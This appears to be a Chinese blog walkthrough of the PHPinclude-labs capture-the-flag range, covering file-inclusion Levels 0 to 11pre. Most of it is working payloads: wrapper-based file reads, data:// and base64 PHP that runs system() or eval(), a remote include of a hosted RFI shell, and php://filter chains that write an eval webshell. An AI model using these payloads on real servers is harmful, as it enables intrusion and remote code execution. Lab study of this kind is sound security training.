当前位置:首页>php>PHPinclude-labs靶场差点通关WP-(探姬)-第一章(共两章)

PHPinclude-labs靶场差点通关WP-(探姬)-第一章(共两章)

  • 2026-09-04 18:07:11
PHPinclude-labs靶场差点通关WP-(探姬)-第一章(共两章)

靶场介绍

探姬PHPinclude-labs靶场

项目地址:https://github.com/ProbiusOfficial/PHPinclude-labs

安装方式:

git clone https://github.com/ProbiusOfficial/PHPinclude-labscd PHPinclude*docker-compose up -d

前面几关我是用Windows打的,在根目录创建了一个flag.php文件

中间部分用docker搭建的时候我换Linux打了,根目录有个flag文件

Level0

直接包含输入的文件,include()函数

allow_url_fopen=On && allow_url_include=On

通关payload:

#Windows?wrappers=\flag.php ?wrappers=/flag.php #Linux?wrappers=/flag #getshell,密码是a?wrappers=https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI

Level1

file://协议,include()函数

没有条件限制

allow_url_fopen=Off && allow_url_include=Off

通关payload:

#Windows?wrappers=/flag.php #Linux?wrappers=/flag

Level2-3

Level2

data://协议,include()函数

allow_url_fopen:On && allow_url_include:On && PHP_Version>=5.2.0

通关payload:

#Windows?wrappers=,<?system('type \flag.php');?wrappers=,<?include("/flag.php"); #Linux?wrappers=,<?system('cat /flag');?wrappers=,<?include("/flag"); #getshell?wrappers=,<?eval($_POST['test']);

Level3

data://协议,include()函数

allow_url_fopen:On && allow_url_include:On && PHP_Version>=5.2.0

通关payload:

#Windows,<?system('type \flag.php');?wrappers=;base64,PD9zeXN0ZW0oJ3R5cGUgXGZsYWcucGhwJyk7 #Linux,<?system('cat /flag');?wrappers=;base64,PD9zeXN0ZW0oJ2NhdCAvZmxhZycpOw== #getshell,<?eval($_POST['test']);?wrappers=;base64,PD9ldmFsKCRfUE9TVFsndGVzdCddKTs=

Level4-5

Level4

http://&https://协议,include()函数

allow_url_fopen:On && allow_url_include:On

通关payload:

#Windows,getshell,密码a?wrappers=127.0.0.1/RFI&system('type \flag.php'); #Linux,getshell,密码a?wrappers=https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI

Level5

http://&https://协议,include()函数

allow_url_fopen:On && allow_url_include:On

通关payload:

#Windows,getshell,密码a?wrappers=127.0.0.1/RFI&system('type \flag.php'); #Linux,getshell,密码a?wrappers=https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI

Level6-10

Level6

php://协议,include()函数

allow_url_fopen:On && allow_url_include:On

通关payload:

#Windows?wrappers=filter/read=convert.base64-encode/resource=/flag.php?wrappers=filter/read=convert.base64-encode/resource=\flag.php?wrappers=filter/read=convert.base64-encode/resource=flag.php #Linux?wrappers=filter/resource=/flag?wrappers=filter/convert.base64-encode/resource=flag.php #getshell,GET传参wrappper=input&0=ip+a,POST传参木马<?=system($_GET[0]);

Level7

php://协议,include()函数

allow_url_fopen:On && allow_url_include:On

通关payload:

#Windows,POST传参且需要保留?wrappers=curl -X POST -d "<?php system('type \flag.php');" http://192.168.153.152/level7/?wrappers= #Linuxcurl -X POST -d "<?php system('cat /flag');" http://192.168.153.150:8108/level7/?wrappers= #getshell,GET传参wrappper=input&0=ip+a,POST传参木马<?=system($_GET[0]);

Level8-9

php://协议,include()函数

allow_url_fopen:Off && allow_url_include:Off

通关payload:

#PHP版本<7.3.0,需要rot13解密 #Windows,Linux的话可以去掉后面的.php?wrappers=filter/string.rot13/resource=/flag.php #需要base64解密?wrappers=filter/convert.bases64-encode/resource=/flag.php?wrappers=filter/read=convert.base64-encode/resource=/flag.php #无需解密?wrappers=filter/convert.base64-decode/resource=/flag.php?wrappers=filter/convert.quoted-printable-encode/resource=/flag.php?wrappers=filter/convert.quoted-printable-decode/resource=/flag.php #7版本(没具体测试版本)?wrappers=filter/convert.iconv.*/resource=/flag.php?wrappers=filter//resource=/flag.php?wrappers=filter//string.strip_tags/resource=/flag.php?wrappers=filter//string.toupper/resource=/flag.php?wrappers=filter//string.tolower/resource=/flag.php #Linux?wrappers=filter/string.rot13/resource=/flag

Level10

file_get_contents()函数

#注意他是先执行file_get_contents()再检查结果有没有flag #正则没有匹配大小写?file=php://filter//string.toupper/resource=/flag.php?file=php://filter/convert.base64-encode/resource=/flag.php?file=php://filter/string.rot13/resource=/flag

Level11+plus+pre

file_put_contents()函数

Level11

allow_url_fopen:Off && allow_url_include:Off

data参数校验的比较严格,不能有其他符号,所以做base64加密的时候可以在后面加一个空格,去掉==特征

通关payload:

#GET传参,写入shell.php文件?filename=php://filter/write=convert.base64-decode/resource=shell.php #POST传参<?php eval($_POST['test']);?> <-这里最后面有个空格data=PD9waHAgZXZhbCgkX1BPU1RbJ3Rlc3QnXSk7Pz4g #访问shell.php文件,POST传参test=system('type \flag.php');

Level11plus

死亡绕过,与上一关操作几乎雷同,但也有一些细节需要注意

#GET传参,写入shell.php文件?filename=php://filter/write=convert.base64-decode/resource=shell.php #POST传参<?php eval($_POST['test']);?> <-这里最后面有个空格,需要在加密完后的密文前面任意加两个字符data=aaPD9waHAgZXZhbCgkX1BPU1RbJ3Rlc3QnXSk7Pz4g #访问shell.php文件,POST传参test=system('type \flag.php');

Level11pre

这关研究了挺久,没怎么弄明白,能写入webshell但是就是没法执行webshell

#GET传参?filter=convert.base64-decode #POST传参PD9waHAgcGhwaW5mbygpOz8+
还有后续,明天继续更

最新文章

随机文章